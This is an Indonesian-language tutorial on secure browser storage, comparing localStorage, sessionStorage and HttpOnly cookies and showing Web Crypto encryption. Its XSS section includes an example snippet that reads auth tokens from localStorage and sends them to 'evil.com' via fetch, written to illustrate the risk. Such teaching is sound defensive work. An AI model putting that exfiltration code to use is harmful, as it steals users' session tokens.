Secure Storage di Browser — Security

Penyimpanan Data di Browser Browser menyediakan beberapa mekanisme penyimpanan data. Masing-masing memiliki karakteristik keamanan yang berbeda, dan memilih…

Penyimpanan Data di Browser

Browser menyediakan beberapa mekanisme penyimpanan data. Masing-masing memiliki karakteristik keamanan yang berbeda, dan memilih yang salah bisa membuka celah keamanan.

Opsi Penyimpanan

Risiko Keamanan

localStorage dan XSS

// Jika ada vulnerability XSS, penyerang bisa:
// Membaca SEMUA data di localStorage
const token = localStorage.getItem("auth_token");
const userData = localStorage.getItem("user_data");

// Mengirim ke server penyerang
fetch("https://evil.com/steal", {
    method: "POST",
    body: JSON.stringify({ token, userData })
});

// JANGAN simpan token autentikasi di localStorage!

Perbandingan Keamanan

// Cookie HttpOnly — TIDAK bisa diakses JavaScript
// Paling aman untuk session/auth token
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

// localStorage — BISA diakses JavaScript
// Jangan untuk data sensitif
localStorage.setItem("theme", "dark"); // OK
localStorage.setItem("auth_token", "xxx"); // JANGAN!

// sessionStorage — sama rentan seperti localStorage
// Tapi hilang saat tab ditutup
sessionStorage.setItem("temp_data", "..."); // OK untuk data sementara

Rekomendasi Penyimpanan

Enkripsi Data di Browser

// Jika harus menyimpan data sensitif di browser, enkripsi terlebih dahulu
// Web Crypto API
async function encryptData(data, key) {
    const iv = crypto.getRandomValues(new Uint8Array(12));
    const encoded = new TextEncoder().encode(JSON.stringify(data));
    const encrypted = await crypto.subtle.encrypt(
        { name: "AES-GCM", iv },
        key,
        encoded
    );
    return { iv: Array.from(iv), data: Array.from(new Uint8Array(encrypted)) };
}

// Simpan encrypted data
const encrypted = await encryptData(sensitiveData, cryptoKey);
localStorage.setItem("encrypted_data", JSON.stringify(encrypted));

Best Practices

Yang akan kamu pelajari